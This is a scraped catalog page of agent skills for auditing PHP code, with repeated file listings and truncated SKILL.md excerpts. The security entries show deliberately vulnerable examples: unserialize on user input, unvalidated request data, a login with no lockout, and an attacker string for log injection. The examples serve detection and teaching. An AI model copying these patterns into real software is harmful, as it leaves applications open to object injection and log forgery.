// BAD: Hard-coded dependency
class OrderService
{
public function process(Order $order): void
{View the complete source on GitHubcheck-dependency-vulnerabilities
When your agent uses it
Analyzes PHP dependencies for security vulnerabilities. Detects outdated packages, known CVEs, unsupported versions, vulnerable transitive dependencies.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,476 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Analysis Process
- Grep Patterns
- Severity Classification
- Vulnerability Resources
- Remediation
- Output Format
- Important Notes
Files
SKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytesSKILL.mdcore5,302 bytes
Read SKILL.md
# Dependency Vulnerability Check
Analyze PHP project dependencies for security vulnerabilities.
## Analysis Process
### 1. Check composer.json/composer.lock
```bash
# Read composer.lock to get exact versions
cat composer.lock | jq '.packages[] | {name, version}'
# Check for outdated packages
composer outdated --directView the complete source on GitHubcheck-deserialization
When your agent uses it
Analyzes PHP code for insecure deserialization. Detects unserialize with user input, missing allowed_classes, PHP object injection risks, gadget chains.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
2,350 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Secure Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytesSKILL.mdcore9,607 bytes
Read SKILL.md
# Insecure Deserialization Security Check
Analyze PHP code for insecure deserialization vulnerabilities (OWASP A08:2021).
## Detection Patterns
### 1. Unserialize with User Input
```php
// CRITICAL: Direct user input
$data = unserialize($_GET['data']);
$object = unserialize($_POST['payload']);
$config = unserialize($_COOKIE['session']);
View the complete source on GitHubcheck-distributed-locks
When your agent uses it
Analyzes PHP code for distributed lock issues. Detects missing TTL on locks, lock without try/finally, unsafe Redis SETNX patterns, missing lock release, and deadlock risks.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
2,330 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytesSKILL.mdcore9,315 bytes
Read SKILL.md
# Distributed Lock Check
Analyze PHP code for distributed locking anti-patterns that cause deadlocks, race conditions, and resource starvation in multi-instance deployments.
## Detection Patterns
### 1. Missing TTL on Locks
```php
<?php
declare(strict_types=1);
// BAD: Lock without expiration -- if process dies, lock is held foreverView the complete source on GitHubcheck-doc-examples
When your agent uses it
Verifies code examples in documentation. Checks that class names, method signatures, namespaces, and imports match actual codebase. Detects outdated and misleading examples.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,015 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Verification Process
- Severity Classification
- Output Format
Files
SKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytesSKILL.mdcore3,983 bytes
Read SKILL.md
# Documentation Code Examples Verification
Analyze documentation for code examples that don't match the actual codebase.
## Detection Patterns
### 1. Incorrect Class Name in Example
```markdown
<!-- DOC says: -->
```php
use App\Service\OrderProcessor;
$processor = new OrderProcessor();
```View the complete source on GitHubcheck-doc-links
When your agent uses it
Validates documentation links. Detects broken relative links, missing anchor targets, malformed URLs, and orphaned documentation files.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,078 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Validation Process
- Severity Classification
- Output Format
- Summary Report Format
Files
SKILL.mdcore4,070 bytesSKILL.mdcore4,070 bytesSKILL.mdcore4,070 bytesSKILL.mdcore4,070 bytesSKILL.mdcore4,070 bytes
Read SKILL.md
# Documentation Link Validation
Analyze documentation files for broken links, missing targets, and navigation issues.
## Detection Patterns
### 1. Broken Relative Links
```markdown
<!-- BROKEN: Target file doesn't exist -->
See [installation guide](docs/install.md)
<!-- File docs/install.md not found -->
<!-- BROKEN: Wrong path depth -->View the complete source on GitHubcheck-docker-compose-config
When your agent uses it
Checks Docker Compose configuration for PHP stacks. Detects missing health checks, improper dependencies, hardcoded values, and networking issues.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
904 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore3,600 bytesSKILL.mdcore3,600 bytes
Read SKILL.md
# Docker Compose Configuration Checker
Analyze Docker Compose files for configuration issues in PHP application stacks.
## Detection Patterns
### 1. Missing Health Checks
```yaml
# BAD: No healthcheck section for service
# GOOD: Health check present
services:
php-fpm:
healthcheck:View the complete source on GitHubcheck-docker-healthcheck
When your agent uses it
Checks Docker health check configuration for PHP services. Verifies PHP-FPM, Nginx, and dependent service health checks.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,311 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Health Check Patterns by Service
- Recommended Parameters
- Improper Health Check Detection
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore4,471 bytesSKILL.mdcore4,471 bytes
Read SKILL.md
# Docker Health Check Configuration Checker
Analyze Docker health check configuration for PHP stacks and dependent services.
## Health Check Patterns by Service
### 1. PHP-FPM
```dockerfile
# Using php-fpm-healthcheck script (recommended)
HEALTHCHECK --interval=10s --timeout=3s --start-period=10s --retries=3 \
CMD php-fpm-healthcheck || exit 1
# Using cgi-fcgi (requires libfcgi)View the complete source on GitHubcheck-docker-layer-efficiency
When your agent uses it
Checks Docker layer efficiency for PHP builds. Analyzes layer ordering, cache utilization, and identifies optimization opportunities.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,209 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Optimal Layer Ordering
- Detection Patterns
- Grep Patterns
- Scoring
- Output Format
Files
SKILL.mdcore4,399 bytesSKILL.mdcore4,399 bytesSKILL.mdcore4,399 bytes
Read SKILL.md
# Docker Layer Efficiency Checker
Analyze Dockerfile layer structure for optimal ordering, cache utilization, and build performance.
## Optimal Layer Ordering
| Order | Layer Type | Change Frequency | Example |
|-------|-----------|------------------|---------|
| 1 | Base image | Rare | `FROM php:8.4-fpm` |
| 2 | System deps | Rare | `RUN apt-get install` |
| 3 | PHP extensions | Rare | `RUN docker-php-ext-install` |
| 4 | Composer deps | Weekly | `COPY composer.* && composer install` |
| 5 | NPM deps | Weekly | `COPY package.* && npm ci` |
| 6 | Config files | Occasional | `COPY php.ini, nginx.conf` |View the complete source on GitHubcheck-docker-php-config
When your agent uses it
Checks PHP configuration in Docker containers. Verifies php.ini settings, OPcache, PHP-FPM pool, and extension configuration for production.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,146 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Configuration Checks
- Grep Patterns
- Detection Sources
- Severity Classification
- Output Format
Files
SKILL.mdcore4,160 bytesSKILL.mdcore4,160 bytes
Read SKILL.md
# Docker PHP Configuration Checker
Analyze PHP configuration within Docker environments for production readiness.
## Configuration Checks
### 1. php.ini Production vs Development
```dockerfile
# BAD: Development config
RUN cp /usr/local/etc/php/php.ini-development /usr/local/etc/php/php.ini
# GOOD: Production config
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.iniView the complete source on GitHubcheck-docker-production-readiness
When your agent uses it
Checks Docker production readiness for PHP applications. Verifies health checks, graceful shutdown, logging, monitoring, and resource limits.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,039 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Production Readiness Checklist
- Grep Patterns
- Score Calculation
- Output Format
Files
SKILL.mdcore3,681 bytesSKILL.mdcore3,681 bytesSKILL.mdcore3,681 bytes
Read SKILL.md
# Docker Production Readiness Checker
Evaluate Docker configuration for production deployment of PHP applications using a scored checklist.
## Production Readiness Checklist
### 1. HEALTHCHECK Instruction (10 pts)
```dockerfile
HEALTHCHECK --interval=10s --timeout=3s --start-period=10s --retries=3 \
CMD php-fpm-healthcheck || exit 1
```
### 2. STOPSIGNAL for Graceful Shutdown (10 pts)View the complete source on GitHubcheck-docker-secrets
When your agent uses it
Detects secrets and credentials in Docker configuration. Scans Dockerfile, Compose, and .env files for exposed passwords, tokens, and keys.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,422 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- File Scanning Targets
- Detection Patterns
- Grep Patterns
- False Positive Handling
- Remediation Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore5,275 bytesSKILL.mdcore5,275 bytes
Read SKILL.md
# Docker Secrets Detection
Scan Docker configuration files for exposed secrets, credentials, and sensitive data.
## File Scanning Targets
| File | Risk Level | Common Secrets |
|------|-----------|----------------|
| `Dockerfile` | High | ARG/ENV with passwords, inline credentials |
| `docker-compose*.yml` | High | Environment variables, volume-mounted secrets |
| `.env`, `.env.*` | Critical | Database passwords, API keys, tokens |
| `entrypoint.sh` | Medium | Hardcoded credentials in scripts |
## Detection PatternsView the complete source on GitHubcheck-docker-security
When your agent uses it
Checks Docker security for PHP projects. Detects root user, exposed secrets, privileged mode, and missing security configurations.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,197 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Security Check Patterns
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore4,404 bytesSKILL.mdcore4,404 bytes
Read SKILL.md
# Docker Security Check
Analyze Docker configurations for PHP projects to detect security vulnerabilities and missing hardening.
## Security Check Patterns
| Check | Risk | Detection |
|-------|------|-----------|
| Running as root | Container escape | No USER instruction |
| Secrets in Dockerfile | Credential leak | ENV/ARG with passwords |
| Privileged mode | Full host access | `privileged: true` |
| No capability dropping | Excessive permissions | Missing `cap_drop` |
| Exposed unnecessary ports | Attack surface | Extra port mappings |
| No read-only rootfs | Filesystem tampering | Missing `read_only` |View the complete source on GitHubcheck-docker-user-permissions
When your agent uses it
Checks Docker user and permission configuration. Detects root execution, improper file ownership, and missing security constraints.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,415 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Permission Check Patterns
- Detection Patterns
- User Creation: Alpine vs Debian
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore4,974 bytesSKILL.mdcore4,974 bytes
Read SKILL.md
# Docker User and Permission Check
Analyze Docker configurations for user, ownership, and permission issues in PHP containers.
## Permission Check Patterns
| Check | Risk | Detection |
|-------|------|-----------|
| No USER instruction | Root execution | Missing `USER` in Dockerfile |
| Wrong UID/GID | Permission conflicts | Non-standard user IDs |
| COPY without --chown | Root-owned files | `COPY` without ownership |
| chmod 777 | World-writable files | Overly permissive mode |
| Volume permission mismatch | Read/write failures | Host vs container UID |
| Read-only FS incompatibility | Runtime crashes | Missing tmpfs for writable dirs |View the complete source on GitHubcheck-encapsulation
When your agent uses it
Analyzes PHP code for encapsulation violations. Detects public mutable state, exposed internals, Tell Don't Ask violations, getter/setter abuse, and information hiding breaches.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,151 tokensWhen the skill is activated
Reference documents
2,340 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Encapsulation Principles
- Analysis Approach
- Detection Rules
- Severity Classification
- Report Format
- Integration
- References
Files
SKILL.mdcore4,832 bytesreferences/patterns.mddoc8,969 bytes
Read SKILL.md
# Encapsulation Analyzer
## Overview
This skill analyzes PHP codebases for encapsulation violations — situations where internal state is exposed, getters/setters replace behavior, or the "Tell, Don't Ask" principle is violated.
## When to Use
- Reviewing Domain layer entities and aggregates
- Detecting anemic domain models
- Checking for Law of Demeter violations
- Auditing collection exposure patterns
- Evaluating getter/behavior ratio in entities
View the complete source on GitHubcheck-fallback-strategy
When your agent uses it
Audits fallback and graceful degradation strategies. Checks cache fallback, feature flags, default values, circuit breaker fallbacks, and degraded mode implementations.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,721 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytesSKILL.mdcore7,212 bytes
Read SKILL.md
# Fallback Strategy Audit
Analyze PHP code for missing or insufficient fallback strategies ensuring graceful degradation under failure conditions.
## Detection Patterns
### 1. No Fallback on External Service Failure
```php
// CRITICAL: Exception propagates — no graceful degradation
class ProductService
{
public function getRecommendations(UserId $userId): array
{View the complete source on GitHubcheck-file-io
When your agent uses it
Audits file I/O patterns in PHP code. Detects full-file reads into memory, missing file locks, temp file cleanup issues, missing stream usage, and insecure file operations.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
1,867 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytesSKILL.mdcore7,159 bytes
Read SKILL.md
# File I/O Patterns Audit
Analyze PHP code for suboptimal or dangerous file I/O patterns.
## Detection Patterns
### 1. Full File Read Into Memory
```php
// CRITICAL: Entire file loaded into memory
$content = file_get_contents('/path/to/large-file.csv'); // 500MB file → OOM!
$lines = file('/path/to/large-file.csv'); // Loads all lines into array!
// CRITICAL: Reading large file to process line by lineView the complete source on GitHubcheck-idempotency
When your agent uses it
Analyzes PHP code for idempotency issues. Detects missing idempotency keys on POST/PUT endpoints, non-idempotent command handlers, duplicate write risks, and retry-unsafe operations.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
1,842 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,746 bytesSKILL.mdcore7,746 bytesSKILL.mdcore7,746 bytesSKILL.mdcore7,746 bytesSKILL.mdcore7,746 bytesSKILL.mdcore7,746 bytesSKILL.mdcore7,746 bytesSKILL.mdcore7,746 bytes
Read SKILL.md
# Idempotency Check
Analyze PHP code for idempotency violations that can cause duplicate writes, double charges, or inconsistent state on retries.
## Detection Patterns
### 1. Missing Idempotency Key on POST/PUT Endpoints
```php
<?php
declare(strict_types=1);
// BAD: POST endpoint creates resource without deduplicationView the complete source on GitHubcheck-immutability
When your agent uses it
Analyzes PHP code for immutability violations. Checks Value Objects, Events, DTOs for readonly properties, no setters, final classes, and wither patterns. Ensures domain objects maintain invariants.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
2,893 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Immutability Requirements by Type
- Detection Patterns
- Report Format
- Warning Issues
- Compliance by Layer
- Refactoring Recommendations
- Quick Analysis Commands
- Integration
- References
Files
SKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytesSKILL.mdcore11,102 bytes
Read SKILL.md
# Immutability Analyzer
## Overview
This skill analyzes PHP DDD projects for immutability violations in Value Objects, Domain Events, DTOs, and Read Models. Immutability is crucial for maintaining invariants, thread safety, and predictable behavior.
## Immutability Requirements by Type
| Type | Must Be Immutable | Key Checks |
|------|-------------------|------------|
| Value Object | ✅ Required | readonly, no setters, final |
| Domain Event | ✅ Required | readonly, no modification after creation |
| DTO | ✅ Recommended | readonly, no business logic |
| Read Model | ✅ Required | readonly, projection-only changes |View the complete source on GitHubcheck-index-usage
When your agent uses it
Detects missing database indexes in PHP code. Identifies unindexed WHERE/JOIN columns, incorrect composite index order, covering index opportunities, and index-defeating patterns.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,456 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytesSKILL.mdcore5,353 bytes
Read SKILL.md
# Database Index Usage Audit
Analyze PHP code for missing or suboptimal database index usage.
## Detection Patterns
### 1. WHERE Clause Without Index
```php
// CRITICAL: Filtering on unindexed column
$qb->select('o')
->from(Order::class, 'o')
->where('o.status = :status') // Is 'status' indexed?
->andWhere('o.createdAt > :date') // Is 'createdAt' indexed?View the complete source on GitHubcheck-input-validation
When your agent uses it
Analyzes PHP code for input validation issues. Detects missing validation, weak regex, type coercion attacks, length/format gaps, whitelist violations.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,477 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytesSKILL.mdcore5,383 bytes
Read SKILL.md
# Input Validation Security Check
Analyze PHP code for input validation vulnerabilities.
## Detection Patterns
### 1. Missing Input Validation
```php
// CRITICAL: Direct use of request data
$id = $_GET['id'];
$this->delete($id); // No validation
// CRITICAL: Controller without validationView the complete source on GitHubcheck-insecure-design
When your agent uses it
Detects OWASP A04:2021 Insecure Design vulnerabilities. Identifies missing rate limiting, account lockout, CAPTCHA, TOCTOU races, business logic flaws, and threat modeling gaps.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
1,753 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytesSKILL.mdcore7,064 bytes
Read SKILL.md
# Insecure Design Security Check (A04:2021)
Analyze PHP code for insecure design patterns — architectural and business logic security flaws that cannot be fixed by implementation alone.
## Detection Patterns
### 1. Missing Account Lockout
```php
// VULNERABLE: No brute-force protection
class LoginController
{
public function login(Request $request): Response
{View the complete source on GitHubcheck-lazy-loading
When your agent uses it
Analyzes PHP code for lazy loading issues. Detects premature loading, missing pagination, inappropriate eager loading, infinite scroll problems.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,718 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Pagination Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytesSKILL.mdcore6,123 bytes
Read SKILL.md
# Lazy Loading Analysis
Analyze PHP code for lazy loading patterns and issues.
## Detection Patterns
### 1. Premature Loading
```php
// PREMATURE: Loading before needed
public function getOrder(int $id): Order
{
$order = $this->repository->find($id);
$items = $order->getItems(); // Loads immediatelyView the complete source on GitHubcheck-leaky-abstractions
When your agent uses it
Detects leaky abstractions in PHP code. Identifies implementation details exposed in interfaces, concrete returns from abstract methods, framework leakage into domain, and infrastructure concerns in application layer.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
2,776 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Leaky Abstraction Types
- Detection Patterns
- Report Format
- Warning Issues
- Abstraction Boundaries
- Refactoring Strategies
- Integration
- References
Files
SKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytesSKILL.mdcore12,278 bytes
Read SKILL.md
# Leaky Abstractions Detector
## Overview
This skill analyzes PHP codebases for leaky abstractions — situations where implementation details "leak" through interface boundaries, violating encapsulation and creating tight coupling.
## Leaky Abstraction Types
| Type | Description | Severity |
|------|-------------|----------|
| Interface Leakage | Implementation details in interface | CRITICAL |
| Framework Leakage | Framework types in domain/application | CRITICAL |
| Return Type Leakage | Concrete types returned from abstractions | WARNING |
| Parameter Leakage | Implementation-specific parameters | WARNING |View the complete source on GitHubcheck-logging-failures
When your agent uses it
Detects OWASP A09:2021 Security Logging and Monitoring Failures. Identifies log injection, PII in logs, missing audit trails, insufficient error context, and blind spots.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
1,662 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytesSKILL.mdcore6,388 bytes
Read SKILL.md
# Security Logging & Monitoring Failures (A09:2021)
Analyze PHP code for logging and monitoring security issues.
## Detection Patterns
### 1. Log Injection
```php
// CRITICAL: User input directly in log message
$this->logger->info("User logged in: " . $request->get('username'));
// Attacker input: "admin\n[CRITICAL] System breached"
// Creates fake log entries!
View the complete source on GitHubcheck-magic-values
When your agent uses it
Analyzes PHP code for magic values. Detects hardcoded numbers, string literals without constants, configuration values embedded in code.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,527 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Acceptable Magic Values
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytesSKILL.mdcore5,190 bytes
Read SKILL.md
# Magic Value Check
Analyze PHP code for hardcoded values that should be constants or configuration.
## Detection Patterns
### 1. Magic Numbers
```php
// BAD: Unexplained numbers
if ($retries > 3) {}
$timeout = 30;
$discount = $price * 0.15;
$pageSize = 20;View the complete source on GitHubcheck-mass-assignment
When your agent uses it
Detects mass assignment vulnerabilities. Identifies unguarded model filling, Request::all() to create/update, missing $fillable/$guarded, and parameter binding without whitelisting.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytes
Read SKILL.md
# Mass Assignment Security Check (A01:2021)
Analyze PHP code for mass assignment vulnerabilities where user input directly populates model attributes.
## Detection Patterns
### 1. Request::all() Passed to Create/Update
```php
// CRITICAL: All request data used to create model
class UserController
{
public function store(Request $request): Response
{View the complete source on GitHubcheck-method-length
When your agent uses it
Analyzes PHP code for method length issues. Detects methods exceeding 30 lines, single responsibility violations, extract method opportunities.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,806 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Thresholds
- Detection Patterns
- Counting Rules
- Refactoring Techniques
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytesSKILL.mdcore7,215 bytes
Read SKILL.md
# Method Length Check
Analyze PHP code for method length and complexity issues.
## Detection Thresholds
| Lines | Classification |
|-------|----------------|
| 1-15 | ✅ Ideal |
